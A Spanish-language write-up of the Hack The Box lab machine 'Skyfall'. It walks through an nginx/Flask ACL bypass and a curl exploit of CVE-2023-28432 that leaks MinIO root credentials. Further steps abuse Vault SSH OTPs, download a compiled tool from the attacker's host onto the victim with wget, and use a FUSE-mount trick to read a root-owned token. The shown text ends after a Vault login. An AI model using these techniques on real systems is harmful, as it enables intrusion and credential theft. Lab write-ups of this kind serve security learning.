Hack The Box: Skyfall Writeup | Insane

Table of Contents

Hack The Box: Skyfall Writeup

Welcome to my detailed writeup of the insane difficulty machine “Skyfall” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.230.158 --ulimit 5000 -g
210.129.230.158 -> [22,80]
 1$ nmap -p22,80 -sCV 10.129.230.158 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 19:59 CEST
 3Nmap scan report for 10.129.230.158
 4Host is up (0.036s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
10|_  256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
1180/tcp open  http    nginx 1.18.0 (Ubuntu)
12|_http-title: Skyfall - Introducing Sky Storage!
13|_http-server-header: nginx/1.18.0 (Ubuntu)
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 9.97 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.230.158 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 19:59 CEST
 3Nmap scan report for 10.129.230.158
 4Host is up (0.036s latency).
 5Not shown: 1495 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 769/udp    closed tftp
 86346/udp  closed gnutella
 918617/udp closed unknown
1020423/udp closed unknown
1127195/udp closed unknown
12
13Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds

HTTP Enumeration

Solo encontramos el servicio web como posible punto de entrada de la máquina. whatwebnos reporta varias cosas interesantes.

1$ whatweb http://10.129.230.158
2http://10.129.230.158 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[askyy@skyfall.htb,btanner@skyfall.htb,contact@skyfall.com,jbond@skyfall.htb], Frame, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.230.158], Lightbox, Script, Title[Skyfall - Introducing Sky Storage!], nginx[1.18.0]

Vemos varios correos electrónicos.

askyy@skyfall.htb,btanner@skyfall.htb,contact@skyfall.com,jbond@skyfall.htb

Vamos a añadir el dominio skyfall.htb al /etc/hosts

Y vamos a hacer una pequeña lista de usuarios por si nos sirve en un futuro.

1$ cat users.txt 
2askyy
3btanner
4contact
5jbond

Así se ve el sitio web. Write-up Image

Vemos el subdominio demo.skyfall.htb Write-up Image

Se nos incluye unas credenciales de acceso, guest:guest Write-up Image

Leyendo las tareas podemos deducir que existe un S3 por detrás para almacenamiento y que debe de haber una instancia de Minio. Write-up Image

En el apartado Files podemos descargar un archivo. Welcome.pdf

Si cambiamos el link de descarga por un archivo que no exista vemos un error de S3. Write-up Image

Vemos varios sitios restringidos, /beta, /metrics. Write-up Image

Existe una función en /fetch para “descargar” el contenido de un sitio web.

Al probar una traza hacia mi equipo vemos que llega.

1 python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.230.158 - - [05/Sep/2024 20:12:09] "GET / HTTP/1.1" 200 -

Al intentar un SSRF no consigue realizar la conexión. Write-up Image

Me di cuenta de que se reflejaba el nombre del host al que está intentando conectarse, al ver que la aplicación estaba hecha en Flask intenté realizar un SSTI pero fue fallido.

Vemos varios formularios pero tras intentar inyectar una imagen de nuestro servidor para ver si se acontece un XSS no conseguimos nada.

Bypassing 403 -> Exploiting HTTP Parser Inconsistencies

Viendo el mensaje de 403 Forbidden, no es un mensaje personalizado como puede ser el 404 Not Found. Es el mensaje de nginx, esto significa que esta restricción se debe de estar haciendo a nivel de Proxy seguramente. Write-up Image Write-up Image

Podemos ver este post que encontré en HackTricks donde en el apartado Bypassing Nginx ACL Rules With Flask encontramos algo muy curioso.

Flask removes the characters \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, and \x09 from the URL path, but NGINX doesn’t.

Esto significa que si en nginx tenemos una configuración como la siguiente

1location = /admin {
2    deny all;
3}
4
5location = /admin/ {
6    deny all;
7}

Y en nuestro servidor flask tenemos el endpoint abierto, es decir, que nos fiamos de nginx al 100%.

1@app.route('/admin', methods = ['GET'])
2def admin():
3    data = {"url":request.url, "admin":"True"}
4
5    return Response(str(data), mimetype="application/json")

As you can see below, it’s possible to circumvent the ACL protection by adding the character \x85 at the end of the pathname:

Podríamos saltarnos esta restricción añadiendo el carácter \x85 al final del pathname

Para probar, añadimos el byte en esta posición. Write-up Image

Podemos ver que está insertado correctamente. Write-up Image

Y no conseguimos nada. Write-up Image

Vamos a probar los demás caracteres. \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, and \x09

¡El byte \x0c sirve para saltarnos esta restricción! Write-up Image

Al final de todas las métricas encontramos una URL, según el atributo es un endpoint de minio. Write-up Image

Agregamos el subdominio prd23-s3-backend.skyfall.htb al /etc/hosts

Information Disclosure -> CVE-2023-28432

Tras buscar vulnerabilidades en Minio, encontré el siguiente post donde habla de una fuga de información que ocurre en un endpoint en una versión desactualizada de este software.

En esta vulnerabilidad al mandar una petición POST al endpoint /minio/bootstrap/v1/verify se filtrarían los campos MINIO_ROOT_USER y MINIO_ROOT_PASSWORD

Podemos hacer esta petición con cURL mismamente.

1$ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify
1{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}

Vemos que el usuario es: 5GrE1B2YGGyZzNHZaIww La contraseña es: GkpjkmiVmpFuL2d3oRx0

Ahora tenemos acceso completo a la instancia de Minio, por lo cual tenemos acceso a todos los archivos que estén en el S3.

Nos podemos descargar mc que es un cliente de consola para Minio de aquí

1wget https://dl.min.io/client/mc/release/linux-amd64/mc

Ahora le damos permisos de ejecución

1$ chmod +x mc

Y ya lo podemos usar.

Como son unas credenciales largas y dificiles de recordar, un consejo que os doy es exportar unas variables globales que se llamen USERNAME y PASSWORD con las credenciales y así no tenéis que recordarlas, simplemente podéis invocar las variables $USERNAME y $PASSWORD

Las credenciales están guardadas en el fichero combo.txt donde a la izquierda está el usuario y delimitado con : a la derecha está la credencial.

1$ cat combo.txt 
25GrE1B2YGGyZzNHZaIww:GkpjkmiVmpFuL2d3oRx0
1$ export USERNAME=$(cat combo.txt | awk -F: '{print $1}'
2$ export PASSWORD=$(cat combo.txt | awk -F: '{print $2}')

Y lo podemos comprobar

1$ echo $USERNAME
25GrE1B2YGGyZzNHZaIww
3$ echo $PASSWORD
4GkpjkmiVmpFuL2d3oRx0

Según la documentación de Minio(https://min.io/docs/minio/linux/reference/minio-mc/minio-client-settings.html) podemos configurar cual es nuestro S3 con mc alias set Write-up Image

mc alias set myminio https://myminio.example.net minioadminuser minioadminpassword

Nos encontramos con el siguiente error.

1$ ./mc alias set skyfall http://prd23-s3-backend.skyfall.htb/ $USERNAME $PASSWORD
2mc: <ERROR> Unable to initialize new alias from the provided credentials. The difference between the request time and the server's time is too large.

Esto pasa porque la hora de mi sistema está desincronizada.

Podemos sincronizarla de esta manera.

1sudo ntpdate ntp.ubuntu.com

Y ahora si que podemos añadir el alias.

1$ ./mc alias set skyfall http://prd23-s3-backend.skyfall.htb $USERNAME $PASSWORD
2Added `skyfall` successfully.

Exploring S3 -> Information Leakage

Ahora podemos explorar los buckets.

1$ ./mc ls skyfall
2[2023-11-08 05:59:15 CET]     0B askyy/
3[2023-11-08 05:58:56 CET]     0B btanner/
4[2023-11-08 05:58:33 CET]     0B emoneypenny/
5[2023-11-08 05:58:22 CET]     0B gmallory/
6[2023-11-08 01:08:01 CET]     0B guest/
7[2023-11-08 05:59:05 CET]     0B jbond/
8[2023-11-08 05:58:10 CET]     0B omansfield/
9[2023-11-08 05:58:45 CET]     0B rsilva/

Con un one-liner en bash podemos ver todos los archivos de los buckets de los usuarios fácilmente.

 1$ for user in $(./mc ls skyfall | awk '{print $5}'); do echo "En el usuario $user ->" && ./mc ls skyfall/$user; done
 2En el usuario askyy/ ->
 3[2023-11-08 06:35:28 CET]  48KiB STANDARD Welcome.pdf
 4[2023-11-09 22:37:25 CET] 2.5KiB STANDARD home_backup.tar.gz
 5En el usuario btanner/ ->
 6[2023-11-08 06:35:36 CET]  48KiB STANDARD Welcome.pdf
 7En el usuario emoneypenny/ ->
 8[2023-11-08 06:35:56 CET]  48KiB STANDARD Welcome.pdf
 9En el usuario gmallory/ ->
10[2023-11-08 06:36:02 CET]  48KiB STANDARD Welcome.pdf
11En el usuario guest/ ->
12[2023-11-08 01:08:05 CET]  48KiB STANDARD Welcome.pdf
13En el usuario jbond/ ->
14[2023-11-08 06:35:45 CET]  48KiB STANDARD Welcome.pdf
15En el usuario omansfield/ ->
16[2023-11-08 06:36:09 CET]  48KiB STANDARD Welcome.pdf
17En el usuario rsilva/ ->
18[2023-11-08 06:35:51 CET]  48KiB STANDARD Welcome.pdf

Vemos que el usuario askyy tiene un fichero home_backup.tar.gz

Nos podemos descargar este comprimido.

1$ ./mc get skyfall/askyy/home_backup.tar.gz .
2...kup.tar.gz: 2.48 KiB / 2.48 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 20.93 KiB/s 0s

Podemos extraer el comprimido y vemos que contienen varios directorios y archivos típicos de un directorio de trabajo de un usuario en un sistema linux.

 1$ tar -xvf home_backup.tar.gz 
 2./
 3./.profile
 4./.bashrc
 5./.ssh/
 6./.ssh/authorized_keys
 7./.sudo_as_admin_successful
 8./.bash_history
 9./.bash_logout
10./.cache/
11./.cache/motd.legal-displayed

Analizando estos archivos no encontramos nada.

Revisando otra vez la documentación de Minio, me encontré que existe un sistema de versioning, es decir, que ese archivo quizás tenga una versión mas antigua con otra información (como los commits de Git) Write-up Image

Vemos que está habilitado.

1 ./mc version info skyfall/askyy
2skyfall/askyy versioning is enabled

Podemos hacer otra vez un mc ls skyfall/askyy pero con el parámetro --versions para ver todas las versiones del archivo.

1$ ./mc ls skyfall/askyy --versions
2[2023-11-08 06:35:28 CET]  48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT Welcome.pdf
3[2023-11-09 22:37:25 CET] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT home_backup.tar.gz
4[2023-11-09 22:37:09 CET] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT home_backup.tar.gz
5[2023-11-09 22:36:30 CET] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT home_backup.tar.gz

Vemos que hay una versión que pesa mucho mas que el resto, la versión 3c498578-8dfe-43b7-b679-32a3fe42018f , nos vamos a descargar esta versión.

1$ ./mc cp --version-id 3c498578-8dfe-43b7-b679-32a3fe42018f skyfall/askyy/home_backup.tar.gz ./home_backup_v1.tar.gz
2...me_backup.tar.gz: 1.18 MiB / 1.18 MiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 2.55 MiB/s 0s

Al extraer el comprimido vemos muchos mas archivos.

 1$ tar -xvf home_backup_v1.tar.gz                                                                         
 2./                                                                                                               
 3./.profile                                                                                                       
 4./terraform-generator/                                                                                           
 5./terraform-generator/.eslintrc.json                                                                             
 6./terraform-generator/package.json                                                                               
 7./terraform-generator/src/                                                                                       
 8./terraform-generator/src/TerraformGenerator.ts                                                                  
 9./terraform-generator/src/arguments/                                                                             
10./terraform-generator/src/arguments/index.ts                                                                     
11./terraform-generator/src/arguments/Function.ts
12.......

Vemos un proyecto, vamos a comprobar que no haya ninguna credencial hardcodeada o algo interesante.

Utilizando un SAST (Static Application Security Testing) no encontré nada en el código de la aplicación.

No encontré nada en esta versión tampoco.

Vamos a descargar ahora la versión 2b75346d-2a47-4203-ab09-3c9f878466b8

1$ ./mc cp --version-id 2b75346d-2a47-4203-ab09-3c9f878466b8 skyfall/askyy/home_backup.tar.gz ./home_backup_v2.tar.gz
2...me_backup.tar.gz: 2.64 KiB / 2.64 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 16.31 KiB/s 0s

Revisando el archivo .bashrc de esta versión encontramos lo siguiente.

1export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"                                                  
2export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQ
3VE"

Write-up Image

Encontramos otro subdominio, prd23-vault-internal.skyfall.htb, lo añadimos al /etc/hosts

Abusing Vault OTP -> Foothold

Al buscar VAULT_TOKEN encontramos lo siguiente, pertenece a Vault de HashiCorp, esto lo hemos tocado ya en otras máquinas, sirven para poder gestionar secretos, contraseñas, certificados, tokens.. También sirve para hacer rotación de secretos, es decir, crear un OTP para acceder por SSH por ejemplo. Write-up Image

Según la documentación, podemos establecer la URL mediante el parámetro -address pero nos sale un error.

1$ vault login -address "http://prd23-vault-internal.skyfall.htb"
2WARNING! VAULT_ADDR and -address unset. Defaulting to https://127.0.0.1:8200.
3Token (will be hidden): 

Así que vamos a hacerle caso y vamos a exportar la variable de entorno VAULT_ADDR

1$ export VAULT_ADDR=http://prd23-vault-internal.skyfall.htb

Y podemos hacer el login con el token que nos hemos encontrado antes.

 1$ vault login
 2Token (will be hidden): 
 3Success! You are now authenticated. The token information displayed below
 4is already stored in the token helper. You do NOT need to run "vault login"
 5again. Future Vault requests will automatically use this token.
 6
 7Key                  Value
 8---                  -----
 9token                hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
10token_accessor       rByv1coOBC9ITZpzqbDtTUm8
11token_duration       430779h34m8s
12token_renewable      true
13token_policies       ["default" "developers"]
14identity_policies    []
15policies             ["default" "developers"]

Podemos deducir que este token es de el usuario askyy Write-up Image

Vemos que en policies pone default developers, esto significa que nuestra política es una llamada developers

Podemos ver los permisos que tenemos sobre esta política.

1$ vault token capabilities sys/policy/developers
2read

Podemos ver que hace esta política.

 1$ vault read sys/policy/developers
 2Key      Value
 3---      -----
 4name     developers
 5rules    path "sys/policy/developers" {
 6  capabilities = [  "read" ]
 7}
 8
 9path "ssh/*" {
10  capabilities = [ "list" ]
11}
12
13path "ssh/creds/dev_otp_key_role" {
14  capabilities = ["create", "read", "update"]
15}

Vemos que tenemos una capability de crear un OTP para un rol llamado dev_otp_key_role este rol es para la conexión por SSH.

Podemos listar todos los roles

1$ vault list ssh/roles
2Keys
3----
4admin_otp_key_role
5dev_otp_key_role

Podemos generar un OTP y conectarnos por ssh

 1$ vault ssh -role dev_otp_key_role askyy@10.129.230.158                                                                                                              
 2WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication                                                                                                
 3mode to use. In the future, you will need to tell Vault which mode to use.                                             
 4For now, Vault will attempt to guess based on the API response. This guess                                                                                                   
 5involves creating a temporary credential, reading its type, and then revoking                                          
 6it. To reduce the number of API calls and surface area, specify -mode                                                  
 7directly. This will be removed in Vault 1.1.               
 8Failed to revoke temporary key: Error making API request.                                                                                                                                                          
 9                                                                                                                                                                                                                   
10URL: PUT http://prd23-vault-internal.skyfall.htb/v1/sys/leases/revoke                                            
11Code: 403. Errors:                                                                                               
12                                                                                                         
13* 1 error occurred:                                                                                                                               
14        * permission denied                                                                                                                       
15                                                                         
16                                                                         
17Vault could not locate "sshpass". The OTP code for the session is displayed                                                                       
18below. Enter this code in the SSH password prompt. If you install sshpass,                                             
19Vault can automatically perform this step for you.                                                                                                                           
20OTP for the session is: 3350605a-bad7-0e83-b8d4-ea63a3fe5b5c                                                                                                                 
21flag provided but not defined: -p                                                     
22Usage of vault plugin settings:                                                       
23  -ca-cert string                                                                                                                                                            
24                                           
25  -ca-path string                                   
26                                                                                                                                                                                                                   
27  -client-cert string                                                                                                                                                                                              
28                                                                                                         
29  -client-key string                                                                                     
30                                                                                                                                                                                                                   
31  -tls-server-name string                           
32                                                           
33  -tls-skip-verify                                         
34                                                           
35This binary is a plugin. These are not meant to be executed directly.                                                  
36Please execute the program that consumes these plugins, which will                                                     
37load any plugins automatically                             
38failed to run ssh command: exit status 1 

Si nos sale ese error, simplemente podemos coger el código OTP generado, 3350605a-bad7-0e83-b8d4-ea63a3fe5b5c y conectarnos por SSH al usuario.

 1$ ssh askyy@10.129.230.158
 2(askyy@10.129.230.158) Password: 
 3Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
 4
 5 * Documentation:  https://help.ubuntu.com
 6 * Management:     https://landscape.canonical.com
 7 * Support:        https://ubuntu.com/pro
 8
 9This system has been minimized by removing packages and content that are
10not required on a system that users do not log into.
11
12To restore this content, you can run the 'unminimize' command.
13Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
14
15Last login: Thu Sep  5 17:40:53 2024 from 10.10.14.125
16askyy@skyfall:~$ id
17uid=1000(askyy) gid=1000(askyy) groups=1000(askyy)

Podemos ver la flag de usuario.

1askyy@skyfall:~$ cat user.txt 
2a91436efa69ab...

Privilege Escalation

Exploiting Vault-Unseal

Vemos que el usuario askyy tiene los siguientes permisos para ejecutar como el usuario que quiera y sin contraseña.

1askyy@skyfall:~$ sudo -l
2Matching Defaults entries for askyy on skyfall:
3    env_reset, mail_badpass,
4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5
6User askyy may run the following commands on skyfall:
7    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
8    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml

Como responde a la expresión regular -[vhd]+ podemos ver varios parámetros, por ejemplo la ayuda.

 1askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
 2Usage:
 3  vault-unseal [OPTIONS]
 4
 5Application Options:
 6  -v, --verbose        enable verbose output
 7  -d, --debug          enable debugging output to file (extra logging)
 8  -c, --config=PATH    path to configuration file
 9
10Help Options:
11  -h, --help           Show this help message

Si probamos el parámetro -d para activar el modo depuración.

1askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
2[>] Checking seal status
3[+] Vault sealed: false

Nos damos cuenta de que genera un fichero debug.log del usuario root el cual no tenemos permisos sobre el.

 1askyy@skyfall:~$ ls -la
 2total 36
 3drwxr-x--- 4 askyy askyy 4096 Sep  5 17:45 .
 4drwxr-xr-x 3 root  root  4096 Jan 19  2024 ..
 5lrwxrwxrwx 1 askyy askyy    9 Nov  9  2023 .bash_history -> /dev/null
 6-rw-r--r-- 1 askyy askyy  220 Jan  6  2022 .bash_logout
 7-rw-r--r-- 1 askyy askyy 3771 Nov  9  2023 .bashrc
 8drwx------ 2 askyy askyy 4096 Oct  9  2023 .cache
 9-rw-r--r-- 1 askyy askyy  807 Jan  6  2022 .profile
10drwx------ 2 askyy askyy 4096 Jan 18  2024 .ssh
11-rw------- 1 root  root   555 Sep  5 17:45 debug.log
12-rw-r----- 1 root  askyy   33 Sep  5 15:54 user.txt

Además tampoco podíamos acceder al fichero /etc/vault-unseal.yml

1askyy@skyfall:~$ cat /etc/vault-unseal.yaml
2cat: /etc/vault-unseal.yaml: Permission denied

Después de pensar un rato no se me ocurrió nada y tuve que mirar una pista.

Me acuerdo de una máquina donde encontrábamos un recurso NFS que podíamos montar, esta era la máquina Squashed y esto pasaba porque ocurría en NFS un UID/GUID mismatch.

If you mount a folder which contains files or folders only accesible by some user (by UID). You can create locally a user with that UID and using that user you will be able to access the file/folder.

Lo que vamos a hacer es algo similar

Bypass Unix permissions with FUSE mount

Como controlamos el directorio en el que nos encontramos, podemos crear un FUSE mount con sshfs que nos permitirá montar de forma local en nuestro equipo un sistema de ficheros utilizando SFTP a un equipo remoto ya que la mayoría de los servidores SSH soportan y tienen habilitados por defecto el acceso SFTP. Cuando hagamos esto conseguiremos que todos los archivos del directorio en el que nos encontramos (/home/askyy) sean del usuario askyy , incluido el fichero debug.log por lo cual podríamos leer su contenido.

Nos encontramos este post de StackOverflow que habla de como realizar esta montura y sin necesidad de permisos de superusuarios.

Instalamos sshfs

1 sudo apt-get install sshfs

Creamos una carpeta para montar.

1$ mkdir /tmp/askyy

Al intentar montar nos sale un error.

1$ sshfs -o allow_other askyy@10.129.230.158:/home/askyy /tmp/askyy -d
2SSHFS version 3.7.3
3fusermount3: option allow_other only allowed if 'user_allow_other' is set in /etc/fuse.conf

Vamos a cambiar la opción user_allow_other de la configuración /etc/fuse.conf.

Simplemente desmarcamos la línea 10. Write-up Image

En la máquina víctima ya está desmarcada.

 1askyy@skyfall:~$ cat /etc/fuse.conf 
 2# The file /etc/fuse.conf allows for the following parameters:
 3#
 4# user_allow_other - Using the allow_other mount option works fine as root, in
 5# order to have it work as user you need user_allow_other in /etc/fuse.conf as
 6# well. (This option allows users to use the allow_other option.) You need
 7# allow_other if you want users other than the owner to access a mounted fuse.
 8# This option must appear on a line by itself. There is no value, just the
 9# presence of the option.
10
11user_allow_other
12
13
14# mount_max = n - this option sets the maximum number of mounts.
15# Currently (2014) it must be typed exactly as shown
16# (with a single space before and after the equals sign).
17
18#mount_max = 1000

Nos pide una contraseña.

1$ sshfs -o allow_other askyy@10.129.230.158:/home/askyy /tmp/askyy -d
2SSHFS version 3.7.3
3executing <ssh> <-x> <-a> <-oClearAllForwardings=yes> <-2> <askyy@10.129.230.158> <-s> <sftp>
4(askyy@10.129.230.158) Password:

Vamos a generar un token OTP como antes.

1$ vault ssh -role dev_otp_key_role askyy@10.129.230.158

Nos copiamos el token y lo pegamos para montar el sistema de ficheros. Write-up Image

Ahora si accedemos a /tmp/askyy vemos que debug.log es del usuario root, pero como estamos en nuestro equipo local simplemente podemos hacer un sudo cat debug.log y podemos leer el archivo.

 1$ ls -la
 2total 36
 3drwxr-x--- 1 pointedsec lpadmin 4096 sep  5 19:45 .
 4drwxrwxrwt 1 root       root    1254 sep  5 20:26 ..
 5lrwxrwxrwx 1 pointedsec lpadmin    9 nov  9  2023 .bash_history -> /dev/null
 6-rw-r--r-- 1 pointedsec lpadmin  220 ene  6  2022 .bash_logout
 7-rw-r--r-- 1 pointedsec lpadmin 3771 nov  9  2023 .bashrc
 8drwx------ 1 pointedsec lpadmin 4096 oct  9  2023 .cache
 9-rw------- 1 root       root     555 sep  5 19:45 debug.log
10-rw-r--r-- 1 pointedsec lpadmin  807 ene  6  2022 .profile
11drwx------ 1 pointedsec lpadmin 4096 ene 18  2024 .ssh
12-rw-r----- 1 root       lpadmin   33 sep  5 17:54 user.txt

Esto no funciona y me di cuenta de que entendí mal en concepto, lo que queremos hacer es aprovecharnos de que la opción user_allow_other está desmarcada en la máquina víctima, por lo cual esto lo tenemos que hacer en local en la máquina víctima.

Para esto podemos utilizar este repositorio de Github el cual tiene varios ejemplos programados en go, uno de ellos es memfs.

Sirve para hacer lo mismo que sshfs

Clonamos el repositorio en nuestra máquina.

1$ git clone https://github.com/hanwen/go-fuse
2Cloning into 'go-fuse'...
3remote: Enumerating objects: 13238, done.
4remote: Counting objects: 100% (3744/3744), done.
5remote: Compressing objects: 100% (775/775), done.
6remote: Total 13238 (delta 3208), reused 3029 (delta 2965), pack-reused 9494 (from 1)
7Receiving objects: 100% (13238/13238), 3.92 MiB | 757.00 KiB/s, done.
8Resolving deltas: 100% (8781/8781), done.

Nos dirigimos donde está esta herramienta.

1$ cd go-fuse/example/memfs/

Compilamos la herramienta.

1$ go build
2go: downloading golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a
3┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/skyfall/content/go-fuse/example/memfs]
4└──╼ [★]$ ls -la
5total 3208
6drwxr-xr-x 1 pointedsec pointedsec      24 sep  5 20:42 .
7drwxr-xr-x 1 pointedsec pointedsec     158 sep  5 20:41 ..
8-rw-r--r-- 1 pointedsec pointedsec     957 sep  5 20:41 main.go
9-rwxr-xr-x 1 pointedsec pointedsec 3280384 sep  5 20:42 memfs

Ahora en la máquina víctima nos descargamos esta herramienta ya compilada.

1askyy@skyfall:~$ wget http://10.10.14.125:8081/memfs .

Le damos permisos de ejecución y probamos a ejecutarla para ver que se ha compilado correctamente.

1askyy@skyfall:~$ chmod +x memfs 
2askyy@skyfall:~$ ./memfs 
3usage: main MOUNTPOINT BACKING-PREFIX

Vemos que podemos montar nuestra carpeta actual en test/, ahora solo necesitamos otra sesión de SSH y ver que todo ha salido bien y podemos acceder a debug.log

1askyy@skyfall:~$ mkdir /tmp/test
2askyy@skyfall:~$ ./memfs /home/askyy /tmp/test
3Mounted!

Al hacer la montura e intentar crear otra vez el archivo vemos que no sale bien.

 1askyy@skyfall:/tmp/test$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
 2[>] Checking seal status
 3[+] Vault sealed: false
 4askyy@skyfall:/tmp/test$ ls -la
 5total 12
 6drwxrwxr-x  2 askyy askyy 4096 Sep  5 18:54 .
 7drwxrwxrwt 13 root  root  4096 Sep  5 18:53 ..
 8-rw-------  1 root  root   555 Sep  5 18:54 debug.log
 9askyy@skyfall:/tmp/test$ cat debug.log 
10cat: debug.log: Permission denied
11askyy@skyfall:/tmp/test$ 

Después de volverme loco un rato, añadí esta línea en el main.go de memfs, lo montamos otra vez y nos lo mandamos a la máquina víctima. Write-up Image

Ahora creamos otra vez la montura en una carpeta distinta.

1askyy@skyfall:~$ mkdir /tmp/test3
2askyy@skyfall:~$ ./memfs /tmp/test3/ test
3Mounted!

Y ahora sí, vemos que ahora debug.log es del usuario askyy

1askyy@skyfall:/tmp/test3$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
2[>] Checking seal status
3[+] Vault sealed: false
4askyy@skyfall:/tmp/test3$ ls -la
5total 8
6drwxrwxrwx  1 askyy askyy    0 Sep  5 18:57 .
7drwxrwxrwt 15 root  root  4096 Sep  5 18:57 ..
8-rw-------  1 askyy askyy  555 Sep  5 18:57 debug.log

Al leerlo vemos otro token distinto que el que teníamos para vault

 1askyy@skyfall:/tmp/test3$ cat debug.log 
 22024/09/05 18:57:55 Initializing logger...
 32024/09/05 18:57:55 Reading: /etc/vault-unseal.yaml
 42024/09/05 18:57:55 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
 52024/09/05 18:57:55 Found Vault node: http://prd23-vault-internal.skyfall.htb
 62024/09/05 18:57:55 Check interval: 5s
 72024/09/05 18:57:55 Max checks: 5
 82024/09/05 18:57:55 Establishing connection to Vault...
 92024/09/05 18:57:55 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
102024/09/05 18:57:55 Checking seal status
112024/09/05 18:57:55 Vault sealed: false

El token es hvs.I0ewVsmaKU1SwVZAKR3T0mmG

Generating OTP for root

Ahora podemos utilizar este token para iniciar sesión con vault

 1$ export VAULT_ADDR=http://prd23-vault-internal.skyfall.htb
 2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/skyfall/content]
 3└──╼ [★]$ vault login
 4Token (will be hidden): 
 5Success! You are now authenticated. The token information displayed below
 6is already stored in the token helper. You do NOT need to run "vault login"
 7again. Future Vault requests will automatically use this token.
 8
 9Key                  Value
10---                  -----
11token                hvs.I0ewVsmaKU1SwVZAKR3T0mmG
